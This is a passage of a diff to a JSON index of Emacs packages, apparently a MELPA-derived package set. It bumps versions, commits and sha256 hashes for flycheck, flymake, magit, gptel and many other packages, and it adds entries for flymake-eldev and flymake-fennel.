+39308,15 @@ "repo": "plandes/flex-compile", "unstable": { "version": [ - 20230808, - 1453 + 20231219, + 2113 ], "deps": [ "buffer-manage", "dash" ], - "commit": "17b2b16f8867312a868f338a49ba8615d2d23461", - "sha256": "0c37vzfd5c4k502bbx6qnc6046dsqy75g6nmaxx756f6p6nng5vq" + "commit": "817dd32411748682c13f752786b901041a470504", + "sha256": "0c2ysf7asb840xdf5x255r18c2v3j93bgjxsf5wsbgvykx21za00" }, "stable": { "version": [ @@ -39160,11 +39354,11 @@ "repo": "crmsnbleyd/flexoki-emacs-theme", "unstable": { "version": [ - 20231114, - 1714 + 20240109, + 607 ], - "commit": "5305cc3deaf361f57c67c57d10ade2bd448603e9", - "sha256": "1pg8mp3nghpmif2f94blrbv50xb9xp7pibnyfm0kpgh5gnciz3ab" + "commit": "9339a2a1a8052159916e9913b14ec062c0a3f506", + "sha256": "071if59ikrfyc17vw1fbzpqsg16zd7zpnfgxhi02sz8ng7q4jmx7" } }, { @@ -39175,15 +39369,15 @@ "repo": "wanderlust/flim", "unstable": { "version": [ - 20230808, - 1153 + 20231214, + 2336 ], "deps": [ "apel", "oauth2" ], - "commit": "80b8121f05a5a0d7fcfe3e54085467a646dd2028", - "sha256": "02shd2mp9ywncn0wxgrijn0i8fa69kfx1y6nh5jjd64dyiczmskk" + "commit": "e9f4c56537704bceb2696c35b98466bc413d8d34", + "sha256": "0xpj3wmsi2jhq442r8s3c0laiyknsnbpysp0amjrk7h6lp87s4rj" } }, { @@ -39343,11 +39537,11 @@ "repo": "amake/flutter.el", "unstable": { "version": [ - 20230811, - 458 + 20240202, + 1241 ], - "commit": "64b3f50a2008357359f1c4eea0e97c93070df7d4", - "sha256": "0vhxszc3km670aslcfmi56xvvv130g8bknh6pyqnic4x3zsvm9jz" + "commit": "004c91e070a9b4a2a5042f5bb20015ec65453acf", + "sha256": "0waav7n1n4k5jz49wnkgq4s28pcizkn7qykwxjwzpma46w84c4dy" } }, { @@ -39476,8 +39670,8 @@ "repo": "flycheck/flycheck", "unstable": { "version": [ - 20230813, - 620 + 20240202, + 1356 ], "deps": [ "dash", @@ -39485,8 +39679,8 @@ "pkg-info", "seq" ], - "commit": "773c3eb31ebeb6bb2f9f57d28177882ca7073df0", - "sha256": "0x01d41gqvgi7r96snswrik6l2nb1wzf6nd1wzm47a1qj0l46061" + "commit": "23df1af6b51fc44ec41973d4da32f2b5a8dac38a", + "sha256": "0wqww59x3xjrjdzg9qf84fkw264503f6fbkp1s0cz3x20v9d6xf8" }, "stable": { "version": [ @@ -39600,14 +39794,14 @@ "repo": "leotaku/flycheck-aspell", "unstable": { "version": [ - 20230408, - 957 + 20240101, + 1945 ], "deps": [ "flycheck" ], - "commit": "45cd22c52b676abbdf405d9fe16b7073b954ed77", - "sha256": "0b4758l06sy9lp9knvcgz9gy283rsf0g2m3qgpg3aya8bnja14dr" + "commit": "aa73874abc60a43fcf615af9bdd85d3008bfe687", + "sha256": "1lnkkj4p8mnghrdcdfb66n6b6h974ik68l2d460njc4yxryjk6di" } }, { @@ -39860,14 +40054,14 @@ "repo": "borkdude/flycheck-clj-kondo", "unstable": { "version": [ - 20211227, - 2226 + 20240203, + 1224 ], "deps": [ "flycheck" ], - "commit": "d8a6ee9a16aa24b5be01f1edf9843d41bdc75555", - "sha256": "010gzxwvr2p2wv358r76ajkn48ilgmkmv7z6bckqbap0cjhrqq43" + "commit": "9089ade9e01b091139321c78ad75946944ff845d", + "sha256": "0xmddrmdwk8fxgfays8gpf0wg3f6cvqk77axm1jqyiki4zmd35hl" }, "stable": { "version": [ @@ -39991,14 +40185,14 @@ "repo": "aaronjensen/flycheck-credo", "unstable": { "version": [ - 20170526, - 1545 + 20240105, + 1655 ], "deps": [ "flycheck" ], - "commit": "e88f11ead53805c361ec7706e44c3dfee1daa19f", - "sha256": "04i7fbqpkjpsfa8vjpkdhg1sj5isczxwncdp4vr9x3vll3svblm7" + "commit": "e285bd042a535d0f13e0b4c5226df404cdda4033", + "sha256": "1n41liayykjmh1xwfnhdvw9bdxjca7d274gkpjfzhvhmbv7dig19" } }, { @@ -40131,14 +40325,14 @@ "repo": "flycheck/flycheck-deno", "unstable": { "version": [ - 20230212, - 1754 + 20240101, + 833 ], "deps": [ "flycheck" ], - "commit": "e7cd15a6a05be73d1f83a16d2efa6b49a105a9cd", - "sha256": "12xy90xlzgrcb4kwh9xlnav7c8kdszf9i4qrk0klkj3p0xbpj0qd" + "commit": "5e4d66865d7d91e7af3b1b69b02dd540c9ea5aca", + "sha256": "0xqp9cycpsliizl7dknpxcvnlx3mcbrqdkp8a2imjxr4ss042pmd" }, "stable": { "version": [ @@ -40283,14 +40477,14 @@ "repo": "flycheck/flycheck-eask", "unstable": { "version": [ - 20230212, - 1748 + 20240101, + 833 ], "deps": [ "flycheck" ], - "commit": "93cf80d60a8d7080f380e16443e0882ac4656ff1", - "sha256": "0q45h7yyqldj8kxzqb51x7zq98v4f9izwcj1hhgifk8ni1xzr1x5" + "commit": "1871b7ee94342f7673abef65337b8741f37c01e2", + "sha256": "1n2rzr8qnqcsqszwy9lx0y8sv7d412g3kxwgwqkjw5ha38zcprcg" }, "stable": { "version": [ @@ -40556,14 +40750,14 @@ "repo": "flycheck/flycheck-google-cpplint", "unstable": { "version": [ - 20230816, - 734 + 20240101, + 833 ], "deps": [ "flycheck" ], - "commit": "59feb38c47cf95176636afc65325741a2d9ae6f3", - "sha256": "0d8ncrklyb6sslp8p64wjc92qfxrb3d1mx7ja2yf3g6jhs5r9p9n" + "commit": "2330e8ed99d89010b652dcb8e9a9a546a9e6da3a", + "sha256": "1vqrxdprflz6zx01k1rcblzsamak708ny2hgik7nf63kbibpnnzz" }, "stable": { "version": [ @@ -40633,16 +40827,16 @@ "repo": "emacs-grammarly/flycheck-grammarly", "unstable": { "version": [ - 20221231, - 1654 + 20240101, + 847 ], "deps": [ "flycheck", "grammarly", "s" ], - "commit": "d4a788acc3875a1ffdd7460ab3377a887413c582", - "sha256": "1mg6x85dmawfjmxc5vcq546ykz3m3qby2l3hnaagh7srwvvz09cy" + "commit": "cb011efcc05b111bb4638cc42c24c5b11fc5f378", + "sha256": "12xrcwixfx6w5rcavgmxrr1nxlay2f6057g0clxfzyp5mk4aw342" }, "stable": { "version": [ @@ -41080,14 +41274,14 @@ "repo": "emacs-languagetool/flycheck-languagetool", "unstable": { "version": [ - 20230329, - 1246 + 20240101, + 851 ], "deps": [ "flycheck" ], - "commit": "04195838e21da84ec46d2940c2b3ee82d8beda70", - "sha256": "0k3b1swnp601ibdcylm3lhipsxjsgsrpg79s9375712wn1ihybsz" + "commit": "e80a23bcdc91df09f6013b553d60a813481086ff", + "sha256": "1gvhmaq9ka28hvm8gv2rd8v3sk0a9w9rd1zsz2xkv1hhw5ch4hf1" }, "stable": { "version": [ @@ -41751,14 +41945,14 @@ "repo": "Wilfred/flycheck-pyflakes", "unstable": { "version": [ - 20170330, - 2311 + 20240124, + 101 ], "deps": [ "flycheck" ], - "commit": "61b045939e3743b2162b7e4e73249c66fc2b8f65", - "sha256": "03p0666vpprp6ijkvx9ypaw58bdq42gh533270plv2k5l8r22cl1" + "commit": "60db5908747faf3831f055eddc6d3b5deafa7384", + "sha256": "1yf2zq0cd6yanky1d7x63kpl98mi53f6cr30csw27lxi491zpfb5" } }, { @@ -42326,11 +42520,11 @@ "repo": "leotaku/flycheck-aspell", "unstable": { "version": [ - 20230408, - 957 + 20240101, + 1945 ], - "commit": "45cd22c52b676abbdf405d9fe16b7073b954ed77", - "sha256": "0b4758l06sy9lp9knvcgz9gy283rsf0g2m3qgpg3aya8bnja14dr" + "commit": "aa73874abc60a43fcf615af9bdd85d3008bfe687", + "sha256": "1lnkkj4p8mnghrdcdfb66n6b6h974ik68l2d460njc4yxryjk6di" } }, { @@ -42385,15 +42579,15 @@ "repo": "mohkale/flymake-collection", "unstable": { "version": [ - 20230606, - 2002 + 20231231, + 1509 ], "deps": [ "flymake", "let-alist" ], - "commit": "845c52a1aead7485450c62b48a92096160d99a25", - "sha256": "1dpqlcxnrbba10zqx3nwv3pf0qxkdgksk0lavcyhj238fzc9yvrd" + "commit": "852d47f7b4cac7345d40bd16067842e095aee13b", + "sha256": "1r9cif3hpmf8lx4w9ac3lccgq1swwfgzh7slaa7ld0h5mmq9w23c" }, "stable": { "version": [ @@ -42521,14 +42715,14 @@ "repo": "flymake/flymake-eask", "unstable": { "version": [ - 20231022, - 1740 + 20240101, + 837 ], "deps": [ "flymake-easy" ], - "commit": "82204f96fd4168a7641df81fd90cb6d8561914f3", - "sha256": "1ipc337bgrb6z59pr1dxwhxbky7c7x4jq7xv0n0fqyvnwbvgj8q1" + "commit": "3962a059f3437bee73faa11d997fdb92d180eee7", + "sha256": "0c9a9ahrp6yz0bjcw9zzvlrjx44iih3pcbm79lags2pcxrb0824n" }, "stable": { "version": [ @@ -42567,6 +42761,35 @@ } }, { + "ename": "flymake-eldev", + "commit": "7f31507865be2e21625ade7e72dbd1bb2022bb07", + "sha256": "1mbwa257ggz3is17g6a1xay9h83wrjzj4311diqjjssabn3nzavf", + "fetcher": "github", + "repo": "emacs-eldev/flymake-eldev", + "unstable": { + "version": [ + 20240115, + 1927 + ], + "deps": [ + "dash" + ], + "commit": "901b2837c7d575f929f87aa83b8e725841927584", + "sha256": "0m0zkg85f65dbhrfsvfb2fircgm3wfxg8x4l9iahagamxmxxwhq8" + }, + "stable": { + "version": [ + 0, + 9 + ], + "deps": [ + "dash" + ], + "commit": "64fc128293040753eb874b8ade59803cf1c23a46", + "sha256": "00giw9fc86facrhdas5ylz7hmblaaj10i3qzxjcfnwal5c5byfwj" + } + }, + { "ename": "flymake-elisp-config", "commit": "11cf3b5e38a99673f65a9bc410cd6faaa2889396", "sha256": "019r9a30jdyjxk2rghbx7g16gpfdhq555s32cmbh9yxxvc7jz683", @@ -42613,11 +42836,11 @@ "repo": "orzechowskid/flymake-eslint", "unstable": { "version": [ - 20231018, - 1900 + 20240202, + 1548 ], - "commit": "e30c9a14e79c7151d92773fcc8c5bf3bcf4a3a6a", - "sha256": "0xr455qcnzjbgbnxzy0pk56nwgv48i552ygj00b2i0maifny70ya" + "commit": "c783788fc1b6fa9703c623f651f4a72c11923d30", + "sha256": "09isnk70lxbgcfmq8v07fz7ml4pmqdj7g1i3a7k8mpnr1zixrbbh" }, "stable": { "version": [ @@ -42630,6 +42853,21 @@ } }, { + "ename": "flymake-fennel", + "commit": "9e090e0bf0894ff5b32b020c2b570646cd28a0e3", + "sha256": "1ajzb4wacg2qgqd6jchnxjlpqmp07cams1j5s1my6qyl5m3sgrvc", + "fetcher": "sourcehut", + "repo": "mgmarlow/flymake-fennel", + "unstable": { + "version": [ + 20231118, + 1858 + ], + "commit": "f62be1505152d0adec0aa7927e674db8cef58b28", + "sha256": "0jdf3krq0i59lckwmsdkqm0nyjvb9bk054g1q3ygahbkd96mz64h" + } + }, + { "ename": "flymake-flycheck", "commit": "034eb68ae6c115ec0ad156df0ef174d45630f322", "sha256": "13v65aywl0nq2xld8kjjr3lxh491a7h03c1xsjqkbhwhjw8m0ism", @@ -42753,15 +42991,15 @@ "repo": "emacs-grammarly/flymake-grammarly", "unstable": { "version": [ - 20221231, - 1655 + 20240101, + 846 ], "deps": [ "grammarly", "s" ], - "commit": "078edd6e083067f2ad3b3beaa0098c16cebe3994", - "sha256": "1496hmwbp2jyy7mn4yrjrxsr3r662s8815vh6w6dj730d9kqr2mq" + "commit": "b0041adb03ba1e9a3f20656a475042451868aa19", + "sha256": "175l2r6abayin9xnhbyff7kywygiqkfaynrak0wzx0hgzmgsq1qc" }, "stable": { "version": [ @@ -43040,11 +43278,11 @@ "repo": "emacs-languagetool/flymake-languagetool", "unstable": { "version": [ - 20230122, - 1609 + 20240101, + 851 ], - "commit": "ad8c724147d5a3a9f6ee59e0c7581e68fba4a2f8", - "sha256": "1h1c0anbch18i66qr6vjb0lf1ygx7y06inqy9r6wss51261l2cly" + "commit": "bd2d2c05949e9d892ca1313d1012aff39528218e", + "sha256": "0yz6c028dykvcp8ajnjds63fnlf58c5m5p3w1y9hx3l1hy9qmgx4" }, "stable": { "version": [ @@ -43467,14 +43705,14 @@ "repo": "erickgnavar/flymake-ruff", "unstable": { "version": [ - 20231105, - 2043 + 20240113, + 1518 ], "deps": [ "project" ], - "commit": "8b2392c45538a377fc3c8cfcda73165652b660ca", - "sha256": "0sagfcmbqw5q21d4wy9cs2yhpy53qa53amwwk3kih9ka64fnyhzy" + "commit": "165ee1fe7b9d154a316c332bf73f341177126d8c", + "sha256": "016322zv6bp97jama1lsh9rrrgv0h30h8rrslq9lmf5y85bqikh4" } }, { @@ -44381,8 +44619,8 @@ "repo": "magit/forge", "unstable": { "version": [ - 20231107, - 2046 + 20240203, + 2128 ], "deps": [ "closql", @@ -44397,8 +44635,8 @@ "transient", "yaml" ], - "commit": "5dcca0e0c0378499b086543be2ec292ddd8beb5b", - "sha256": "1zfr4ci3vw7y6nq9j75smdga02nzqyrj08v35qd1i7j7kdpppp3l" + "commit": "298e9f6e7afda28b2e5e47d4c4e200f707fa2eec", + "sha256": "13b2bhlxpcw9bjp9zg6c8vlbwmxi3qvijg5mfbb09dmqr9iz72jq" }, "stable": { "version": [ @@ -44553,14 +44791,14 @@ "repo": "larsbrinkhoff/forth-mode", "unstable": { "version": [ - 20231016, - 640 + 20231206, + 1127 ], "deps": [ "cl-lib" ], - "commit": "aaacce775b910afe06a02a56ecfceb3288c84b64", - "sha256": "0pj7fr7lh6s6kanz86zhyxf2s56dl7dffc1ifh3zjwwk85dhrr9m" + "commit": "59c5ea89ca7593bd49cdde6caefa0893a8780105", + "sha256": "1l82hsrg7n7xvi6bd6sdcwvxc9g5qnh84lcmb274myldjzlvyy93" } }, { @@ -44616,14 +44854,14 @@ "repo": "rnkn/fountain-mode", "unstable": { "version": [ - 20231104, - 453 + 20231127, + 1128 ], "deps": [ "seq" ], - "commit": "e2c0b952b297d99dd16f2d55f883eec8bfdfa896", - "sha256": "1m6xvda2bx5pxzklc0nlzfc9a9fbnvysld2zha59qdjlr9zzi298" + "commit": "f3685ac7235de79cfa9a9c84acbbe8541bcf5e25", + "sha256": "1bj7iw2sd09dj2a6289r0rkjcy6bgyw621k1dr39dym3wlgbzjgz" }, "stable": { "version": [ @@ -44800,14 +45038,14 @@ "repo": "tarsius/frameshot", "unstable": { "version": [ - 20230515, - 944 + 20240101, + 2216 ], "deps": [ "compat" ], - "commit": "f74d99be64dc7afa4bdea106c0597c1fa59b9a3d", - "sha256": "0qwffkpjh5zsj487yi5m5j5y7vxqc67pga5nj127nbg4rdmjs3ng" + "commit": "77e4f3ad1fd495d983e62a201f6c1f708b616648", + "sha256": "08f2l190f37qfidlismy3jylwlk4r2bpgr40cglw5wbid1ln54sy" }, "stable": { "version": [ @@ -44848,15 +45086,27 @@ "repo": "alphapapa/frecency.el", "unstable": { "version": [ - 20170909, - 631 + 20240111, + 628 ], "deps": [ "a", "dash" ], - "commit": "132130088ef5695cffed6fcacfa219cb0c389026", - "sha256": "17s34gaq6jvwr6f4l500xyhv33ykwxiwzsq2rrasgs7l301wqsw0" + "commit": "4293bf4c8d571b0914e16a5aa05a6d657fdff551", + "sha256": "1n1ghl3jr4wmzc4f5xhkx5mfg3vfqs0kjzbra6k5drcnyh2iixkc" + }, + "stable": { + "version": [ + 1, + 0 + ], + "deps": [ + "a", + "dash" + ], + "commit": "4293bf4c8d571b0914e16a5aa05a6d657fdff551", + "sha256": "1n1ghl3jr4wmzc4f5xhkx5mfg3vfqs0kjzbra6k5drcnyh2iixkc" } }, { @@ -44867,16 +45117,16 @@ "url": "https://git.launchpad.net/frecentf.el", "unstable": { "version": [ - 20210330, - 1521 + 20231125, + 201 ], "deps": [ "async", "frecency", "persist" ], - "commit": "19e2c48a8b8c8ee8cae5c93b58b57a0aa81a8c46", - "sha256": "1gjzis2jshsq5sdi5rv3a29cmk4iv7y6k2awxlddq3biyf80ialb" + "commit": "ef788b2af412311fbc6f52d639810746e5c0fa93", + "sha256": "0ypm0ax1wvqd86a3qfspqqb0xvybxa4jpmssmrrk5lv2a3ashzx3" } }, { @@ -45452,14 +45702,14 @@ "repo": "jojojames/fussy", "unstable": { "version": [ - 20230921, - 1850 + 20240103, + 159 ], "deps": [ "flx" ], - "commit": "2ff8317c403b15d3c898f7dcd8511b6d16f92c1d", - "sha256": "10xf40xsl3x91d2b4c4vqg4cb99izv8n0gcic5nybdxcm7f8sfpb" + "commit": "4080b373f3361126d4de1f063bb08718b0c08eed", + "sha256": "1x0vmbxd0ggslkxcam5da586plsjar9v5nka0dbxdkwx6k6n23r1" }, "stable": { "version": [ @@ -45523,11 +45773,11 @@ "repo": "auto-complete/fuzzy-el", "unstable": { "version": [ - 20221231, - 1634 + 20240101, + 830 ], - "commit": "fc7ca5bc81f1798596bc1d254d74a5ea95edc432", - "sha256": "0i0wpsbr3d2bv9pjkdx6a5188csw2vi53rprk1j05bv0wcm81ark" + "commit": "295140da741ac02c1bd3dec69ccf7f6268d60ec5", + "sha256": "03ryz1793bbab7c6nmya2n1xzjsliidhy5kzrcmch8vlidrgd12d" }, "stable": { "version": [ @@ -45594,14 +45844,14 @@ "repo": "tarsius/fwb-cmds", "unstable": { "version": [ - 20230213, - 1143 + 20240101, + 2216 ], "deps": [ "compat" ], - "commit": "1b375c6890de61eaccc97c92f2b46de6f9205417", - "sha256": "0wqkd8p04hklp1hysppp83rx3d32qv62ln5baf725f3xz0lilv21" + "commit": "88e823809067983acfaeafa57d0bb6e889429ad2", + "sha256": "1bipyxd5zfrhddspkaybfd9gsdlih17il84gkzaqk624k0k07a7p" }, "stable": { "version": [ @@ -45725,11 +45975,11 @@ "repo": "ShiroTakeda/gams-mode", "unstable": { "version": [ - 20231005, - 1425 + 20231202, + 1410 ], - "commit": "0e7382bf9613329d2e411ced73536205326a910b", - "sha256": "01hbkylql40p4yczckc22gm3g5qsh4aw1xcp3vmj8bc9n63k77zj" + "commit": "03c24b19c270feca0d3fc9494698cf6d4c7f8152", + "sha256": "1g1w0z04qc6k61p9y7mfplqk83yi3pcabv3mr4kfq1pmny8l46sp" }, "stable": { "version": [ @@ -45763,11 +46013,11 @@ "repo": "gvol/gap-mode", "unstable": { "version": [ - 20230802, - 108 + 20240126, + 359 ], - "commit": "643f8a26ea1fe6aa3390c95e257718ed6b0b2149", - "sha256": "1yrdgm72wii9i9sa6hdmg7im0yg0jagyf9jg5x56csiz3dh81ywz" + "commit": "b816fcf70840887461764ebdbb34c8b37dd42ba2", + "sha256": "0w5g7hfcbi32bs42rqbzskb1a3pwr4qv02c948xdik7bs0nnjgyd" } }, { @@ -45933,26 +46183,25 @@ "repo": "emacs-geiser/geiser", "unstable": { "version": [ - 20231111, - 1149 + 20240115, + 1854 ], "deps": [ "project" ], - "commit": "49d12a14482ce9a193c049a5ccdd2fed90b0bdbe", - "sha256": "05kk8pa8dgm2bv9k2rfxi0m1kdpzz40csn7jgl5a38w1l1yjcffl" + "commit": "0e189dfb1e531c7b2609c5865659badec7cb6f28", + "sha256": "1aiw8fxfna58g3zcjg4rwr6jfaifdgp9nmcgd55kfbhps9ih0qi0" }, "stable": { "version": [ 0, - 29, - 1 + 30 ], "deps": [ "project" ], - "commit": "d743a8cd1df4101a6dc2226ccfc3b4883ec761c5", - "sha256": "1jbjhljjbwz2inh8x0ivsx6l1amm550cji6q2rdaay2jl8a8db0q" + "commit": "f343592a52da0f947989d07c208a51ad6c972a5e", + "sha256": "1y9k9v7ll816rs20krchrk080b3a5q4hikskaamvr5hrmi0jw938" } }, { @@ -46106,15 +46355,15 @@ "repo": "emacs-geiser/guile", "unstable": { "version": [ - 20230425, - 1523 + 20231227, + 1512 ], "deps": [ "geiser", "transient" ], - "commit": "ee33af6b4ef8fdaccbdf93c62b50fe17c07a1ade", - "sha256": "00jfv96rrjb4jw6yyqpy6dhwv4zrfsm27q2xhl246fbbpi6y8nds" + "commit": "6e0811c75d13c3c8488e7a11a018e1ea2ae3288a", + "sha256": "162hfssivp36m58siqszli8sjkfxg9b0dsdpn54alj80sjalkx46" }, "stable": { "version": [ @@ -46303,14 +46552,14 @@ "repo": "noctuid/general.el", "unstable": { "version": [ - 20230311, - 1229 + 20240131, + 1426 ], "deps": [ "cl-lib" ], - "commit": "7ce8db297e3de258ec43802269438ac7f1918707", - "sha256": "1qphbw42w7nvs5vf8a9vyj96jcd9br1v86c1a0cqjwyngfjlawa8" + "commit": "3ca7bbf1101c9c9fb372e6d0d0c026dfadb9996f", + "sha256": "1p2cmj3xqs82sy2hdvmrm9dspwwjx8nxn3bf1ylkgnj8j2gyj4ca" } }, { @@ -46443,16 +46692,16 @@ "repo": "thisch/gerrit.el", "unstable": { "version": [ - 20230102, - 1714 + 20231210, + 2222 ], "deps": [ "dash", "magit", "s" ], - "commit": "76cc426d62f1b4964159706eafa8f5b50b8427ea", - "sha256": "0wzb4z4hqx7n5nn7jsgzvjqxd65w9s6fnasz9mpkh9vfvv3zngjg" + "commit": "abc40004fd2715497d964ba3d38f7a702f22c3bf", + "sha256": "1g84ghsj2y29qyr7wabrsrk7bdvpjrbbhnc03m5fmlzpkzdlflhx" } }, { @@ -46751,16 +47000,16 @@ "repo": "magit/ghub", "unstable": { "version": [ - 20231026, - 1306 + 20240101, + 2217 ], "deps": [ "compat", "let-alist", "treepy" ], - "commit": "0d7c81eee3ba0c6e029605e545173721c39947d7", - "sha256": "1mz4kkrs8b3n7gra3j5gy74awbwnk91nph33r2wql7a7zpz3qizc" + "commit": "ba56fe223fbabab89fee577a1d3b0704d7c4a0df", + "sha256": "0v31jzgq53rcxj2yr0ag7pm27797l2c1rnngfb8i0w7h857iwld9" }, "stable": { "version": [ @@ -47086,26 +47335,26 @@ "repo": "liuyinz/git-cliff.el", "unstable": { "version": [ - 20231101, - 1839 + 20240107, + 2156 ], "deps": [ "transient" ], - "commit": "d353c2882fa0bec59e6541a2171e9816244eb73d", - "sha256": "0hm1pf239clp80s4abzdnlgw3vp8qwlkglaa1qzap8932p3dlscx" + "commit": "1949b536a259b8da8722b5fd064b89fb163f976b", + "sha256": "1x56c9lzz6hrmgbfzqsfrdh2xr6yqdzdnw8f4afxyp2ifbnfv99q" }, "stable": { "version": [ 0, 4, - 3 + 5 ], "deps": [ "transient" ], - "commit": "06a57cd964013cfde6a21f8dee32626034310a84", - "sha256": "0jnhxfwjmi1cza4dlk19955h81dizs966a52liacw4ipjwkbrknm" + "commit": "a5ec76d0c52c08ec134190578686b5685589c8e4", + "sha256": "0h3v4zmmnc0dksyxzjg1y621w98qv6zm4rmg9k43rhsxlv1n6qp3" } }, { @@ -47149,16 +47398,16 @@ "repo": "magit/magit", "unstable": { "version": [ - 20231030, - 2243 + 20240123, + 1358 ], "deps": [ "compat", "transient", "with-editor" ], - "commit": "5cf664cd32010d3a5207c09da60e0c8f0c37b496", - "sha256": "198dqqbxa62dlqbf28fxxmqlbvv854l0wmi0ha8qx0vslq5pys4x" + "commit": "fc61ce236d5f8fedff9f469fdb25b4d5d49694e8", + "sha256": "18hn9akj0gm2wq2ba7cf3vlvsragsq1flbwdhmb1h61da66khn0p" }, "stable": { "version": [ @@ -47495,14 +47744,14 @@ "repo": "magit/git-modes", "unstable": { "version": [ - 20231101, - 2323 + 20240101, + 2217 ], "deps": [ "compat" ], - "commit": "399b1b446644afce8d0949ff85a882bfdbbfb7bf", - "sha256": "0npwjcm04gg1cy19gsha5m6my9xa0din860gv3h32cx8q3nizjjc" + "commit": "4a61a9b86df9c824a99c522f42d55e68faf85f91", + "sha256": "0k92ivrknyn0h6vv3mq7y9g6hsymbwk45fdcy7dx8da2qsqaxiif" }, "stable": { "version": [ @@ -47691,10 +47940,10 @@ }, { "ename": "github-browse-file", - "commit": "f8bca60348fc5e2ad55663e69b8690093cf861ca", - "sha256": "03xvgxlw7wmfby898din7dfcg87ihahkhlav1n7qklw6qi7skjcr", + "commit": "4a4e45ad670f6ffb567c4465844ecea7f698e027", + "sha256": "1lvbiv6nrpx4k0j8zldx4n52srkagkj1dfyns9bvnk58x8cizxp9", "fetcher": "github", - "repo": "osener/github-browse-file", + "repo": "ozanmakes/github-browse-file", "unstable": { "version": [ 20160205, @@ -47782,16 +48031,16 @@ "repo": "10sr/github-elpa", "unstable": { "version": [ - 20200129, - 417 + 20231201, + 804 ], "deps": [ "commander", "git", "package-build" ], - "commit": "0e0fdbdd774b0866beccff6be7f302e5c8ee71da", - "sha256": "1wq2cq51lqw6wx38rvxddw2yvg7yx7iw5bvf5akkc3b4wxyl8vaf" + "commit": "c818883d9dc8d34eaee03691574e0408f18db28a", + "sha256": "0yhcfrpwpp0lai4q610chap41yypm47swc0vp4q6zs0z18h79mmg" }, "stable": { "version": [ @@ -49591,20 +49840,20 @@ "repo": "M1ndo/gofmt-tag", "unstable": { "version": [ - 20231024, - 2333 + 20240111, + 2031 ], - "commit": "93d746bda753f892c547d4c366d175c5b972fdd2", - "sha256": "1q0whcp1r3lrkim6dnllxdw59qlqz47rkgsmvwh9dq2jaqiid0pd" + "commit": "b7cc315ac45342fc9c17dde779cc9c37aa309841", + "sha256": "0hz03ndiqi4yjhylf3s52vdc9lh11in8m844bm53qv09dqjbs9fp" }, "stable": { "version": [ 1, 0, - 1 + 2 ], - "commit": "17db364ebf76548b37222b3a0e38c7cb4b5c95fb", - "sha256": "1rkr3bwwsv35bm65j468pf7dmdz0n8glz83wly8q3rpxliyrw4v7" + "commit": "b7cc315ac45342fc9c17dde779cc9c37aa309841", + "sha256": "0hz03ndiqi4yjhylf3s52vdc9lh11in8m844bm53qv09dqjbs9fp" } }, { @@ -49615,11 +49864,11 @@ "repo": "minad/goggles", "unstable": { "version": [ - 20230428, - 1547 + 20240102, + 332 ], - "commit": "4a22853a4ff18c1c1a2149945de9a5ed0a23a2c9", - "sha256": "13nm2c39p88wzlgacqby80rnrarscjgpladciy4naaf3lnbf3zsb" + "commit": "d64f08ace640b21781689f233498fece656c5a41", + "sha256": "0158pp33qy9cil0y459i6jby26hfjmfnjjrf42b8lcyifsqb3bc9" }, "stable": { "version": [ @@ -50007,11 +50256,11 @@ "repo": "emacs-vs/goto-char-preview", "unstable": { "version": [ - 20230111, - 1525 + 20240101, + 855 ], - "commit": "feee79f83194155e67f5b16ca57b51b2d941b2ee", - "sha256": "19qnf1x0kysxjfx4dkl13f7cfv6s1cqmcjbnmmjvk7x8mah88qx2" + "commit": "6ec23b1fd551c8ff51d50b2a22c2b83828ac0e1a", + "sha256": "1xaqlmw4rvcyfmxh8di3i1c0rw58m2yd7zycyimii7s8gkd2zr0c" }, "stable": { "version": [ @@ -50094,11 +50343,11 @@ "repo": "emacs-vs/goto-line-preview", "unstable": { "version": [ - 20230111, - 1531 + 20240101, + 855 ], - "commit": "c6db484cf401351f7f2f57496b0466b774435947", - "sha256": "0wzc5vaw461lzwhs1d9b479ns8wgil528np6xs5rqr3czsm61k44" + "commit": "bbcf14e66abf1c56e8f44d501b971882e881a5f9", + "sha256": "1smk52g3sbafi652g6n39ijjv84g84bicxyhx64ybdgi3fndiv8r" }, "stable": { "version": [ @@ -50133,8 +50382,8 @@ "stable": { "version": [ 0, - 33, - 1 + 34, + 2 ], "deps": [ "dash", @@ -50142,8 +50391,8 @@ "magit-popup", "s" ], - "commit": "6de69ad0cd33a85545b15c7d201745f2fd807dd1", - "sha256": "0bmd2akj3dp6xp8rr69w183ha3wj2xz9b3pp8bzh5ifmcwwp4cg7" + "commit": "96b6eb7717a333660fca14fe0b5f71b9b6b01c22", + "sha256": "1wgf0s560rd76chlcs9fqc5kc6rhwm8jf59f8ycpbg8r6nxqgcaj" } }, { @@ -50297,26 +50546,28 @@ "repo": "karthink/gptel", "unstable": { "version": [ - 20231113, - 211 + 20240203, + 2229 ], "deps": [ + "compat", "transient" ], - "commit": "17a58d38e7299f254d02c29bbcc9211146394758", - "sha256": "1cy1kkbg477dnf8lz137h7bc7hvm3apvxdq3ycqifwwhfks4cyk4" + "commit": "af5444a2ea33d717265d5bbf30a15347e2da4d05", + "sha256": "1hp418pj1c81s9f14478sz58ic8c6m6yarg3qqrpbnn8n6y4nimj" }, "stable": { "version": [ 0, - 4, - 0 + 6, + 5 ], "deps": [ + "compat", "transient" ], - "commit": "0f161a466b880cde864d8aa709ec04e1a86f445a", - "sha256": "1aac0jds8hzyfvav06mhqm32v81swrnvyv0ldrkd7qxc2b1x4q7n" + "commit": "af5444a2ea33d717265d5bbf30a15347e2da4d05", + "sha256": "1hp418pj1c81s9f14478sz58ic8c6m6yarg3qqrpbnn8n6y4nimj" } }, { @@ -50456,16 +50707,16 @@ "repo": "emacs-grammarly/grammarly", "unstable": { "version": [ - 20221231, - 1655 + 20240101, + 846 ], "deps": [ "request", "s", "websocket" ], - "commit": "0d9fbee337cb8dd316e5dcf0bff91e44c115dd0d", - "sha256": "1ljlfnvlp7lpr6sc89xnp8jy5m0n5sfrcs43y60b0wnvxxj4w1k9" + "commit": "813944714a04ae2a3cdaca845c1c9d70ced462ca", + "sha256": "1v80482vcx9p7fm1crg9vwwrjvb2q1xpkkpxl4fpycd64wimgdk2" }, "stable": { "version": [ @@ -51041,11 +51292,11 @@ "repo": "ROCKTAKEY/grugru", "unstable": { "version": [ - 20230121, - 1825 + 20231202, + 250 ], - "commit": "088f26330be161cfad4835e155595ec60dcb335a", - "sha256": "094kwvm136nw3p1l2bxkbp97qnsg46g0b3mgskm323bcdggj1g12" + "commit": "3f1bc431f4dc919a7b04e519f1c8add9fb2949f3", + "sha256": "1wzxn62wx0jvj7556afgwif904dq6iljss950xbgrsvjfiygyraj" }, "stable": { "version": [ @@ -51368,8 +51619,8 @@ "url": 